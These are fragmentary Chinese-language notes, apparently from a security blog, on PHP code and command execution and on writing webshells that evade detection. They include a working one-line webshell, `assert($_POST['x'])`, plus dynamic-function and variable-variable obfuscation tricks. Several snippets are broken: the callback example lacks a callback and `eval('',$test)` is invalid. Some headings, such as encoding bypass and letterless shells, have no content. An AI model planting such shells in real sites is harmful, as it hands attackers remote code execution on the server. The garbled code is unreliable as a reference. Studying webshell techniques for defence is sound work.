代码执行与命令执行:

代码执行: 可以用来执行代码的函数,参数是代码。例如eval()

命令执行: 可以用来执行命令的函数,参数是命令。例如system()

动态执行

1
2
3
4
5
6
7
8
9
10
<?php
assert($_POST['x']);

$e = 'assert'; //eval不行
$e("phpinfo();");

$a = 'system';
$a("phpinfo();");

?>

php函数调用的对象必须是一个函数,但不包括evaleval在php底层不是一个函数,assert

回调函数

1
2
3
4
<?php
$e = $_REQUEST['e'];

?>

变量掺杂

1
2
3
4
5
6
7
<?php
$z = 'test';
$$z = $_POST['x'];
eval('',$test);


?>

二维数组

编码绕过

无字母的马